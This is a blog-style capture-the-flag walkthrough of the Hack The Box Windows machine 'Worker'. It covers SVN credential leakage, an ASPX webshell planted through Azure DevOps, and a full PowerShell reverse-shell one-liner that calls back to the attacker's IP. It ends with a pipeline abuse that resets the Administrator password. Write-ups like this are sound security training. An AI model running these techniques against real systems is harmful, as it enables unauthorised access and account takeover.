Worker is a medium level room in Hackthebox. I learnt some new things like SVN, Azure Devops and a lot more while doing this box. I hope you’ll learn something from this post too. The objective is to get the user and root flag. 
 
| Author | ekenas | 
| Operating System | Windows | 
| Difficulty | Medium | 
Connect to Hackthebox and let’s go.
Enumeration
Let’s start with the usual nmap scan. 
  
 
 I visited the http service runnning on the port 80 but I found nothing interesting. I tried bruteforcing hidden directories using gobuster and wasted my time unneccessarily. But, after running gobuster with the vhost subcommand in order to find virtual hosts, it returned more than one vhost. I couldn’t find which was the original one, so I started enumerating the next service.
I had no idea what SVN was, so I first checked the man pages. 
  
 
 Basically, SVN is a version control system like Git. I got familiar with SVN from these cheat sheets. 
Sources:
https://www.perforce.com/blog/vcs/svn-commands-cheat-sheet
https://cheatography.com/davechild/cheat-sheets/subversion/
I added the domain name worker.htb to the /etc/hosts file in my local machine.
Firstly, I checked the remote repository information. 
svn info svn://worker.htb
  
 
 Then I tried to list the contents of the repository. 
svn list svn://worker.htb
  
 
 I checked everything inside the directory dimension.worker.htb but I found nothing useful. After checking the moved.txt in the root directory it said that the latest version can be viewed in http://devops.worker.htb. 
svn cat svn://worker.htb/moved.txt
  
 
 I finally found this file with valid credentials. 
svn diff -r 2
  
 
 I added devops.worker.htb to /etc/hosts and logged in with the credentials. 
  
 
 Navigate to Repos -> Branches. Create a new branch and choose any one work items to link from the drop down. Click on create.
Go to the Branch. Upload a apsx webshell to the branch. The default location of aspx webshell is /usr/share/webshells/aspx/cmdasp.aspx in Kali Linux and Parrot OS. Add some items from work items to link dropdown box and click on Commit. 
  
 
Next, create a pull request. 
  
 
 In the pull requests page click on Approve and click on Complete to complete the pull request. 
  
 
 Check if all the required and optional conditions are met. Otherwise you’re gonna have trouble merging the branch. 
  
 
 The Complete pull request dialog pops up. Click on Complete merge. I recommend unchecking the delete branch after merging option since if you face any trouble later you don’t need to repeat the process of creating a new branch. 
  
 
 Wait for a minute or two for the changes to take place.
Reverse shell
After that go the the http://subdomain.worker.htb/file-name.aspx where subdomain is the name which you’ve selected during your branching and merging process. The subdomain name can be found just below the address bar of your browser. FYI..The subdomain I’ve taken is alpha.
If you’ve done everything correctly, you should be able to see this page. 
  
 
 From this page we can get the reverse shell. I grabbed the reverse shell payload for powershell and edited the ip and port values. 
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('your-vpn-ip-addr',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
 Open a netcat listener in your local machine and click on execute. 
  
 
User flag
I checked the C:\Users folder and found the username robisl. 
  
 
 After a bit of enumerating, I found that the machine has another volume W:\. 
Get-Volume
  
 
 After changing the volume, I found the svnrepos folder. I searched throughout the folder and came across this file named passwd in the W:\snvrepos\www\conf folder. 
  
 
 I got the contents of the file using the type file-name command. The password will be in the same line as the name of the user robisl.
I used evil-winrm to get a shell for the user robisl. 
./evil-winrm.rb -u robisl -p password-from-passwd-file -i worker.htb
  
 
 I found the user flag in the C:\Users\robisl\Desktop folder. 
  
 
Root flag
This is the part I’ve been stuck for a long time. After figuring it out, I felt like an idiot for missing such a trivial thing.
Just login to Azure Devops with the username robisl and the corresponding password. 
  
 
 I wondered on how to get the root shell since the same process of creating a branch and merging is not gonna work here. After a little help from google, I found that Pipelines can be used to run commands in Azure devops.
So, I started by creating a new Pipeline. 
  
 
 Select Azure Repos Git -> Starter pipeline.
Edit the .yaml file such that only this content is present. Save the pipeline by clicking on the Create a new branch for this commit and start a pull request and rename the pipeline. 
  
 
 After clicking on save and run the script successfully executes. You can check the results in the Run a one line script tab. 
  
 
 We can exploit this script and get the root shell. First, I tried the powershell one-line reverse shell payload and the script throwed an error. So, I tried to type out the root flag which actually succeded. I didn’t want to stop at only getting the root flag, so I googled the possible ways to get the Administrator's password.
I finally arrived at changing the Administrator's password, which can be done using the net user command in windows. 
  
 
 Sorry for the insanely long password. The script throwed an error stating that the password policy is not met. So, I got a little irritated and finally did this password. At last!!! the script executed. 
  
 
I used evil-winrm to get a powershell. 
  
 
 The root flag can be found in the C:\Users\Administrator\Desktop folder.
Got both the root shell and root flag. Now, I’m satisfied…
Peace out…!!!
That’s it folks. Happy hacking!!!
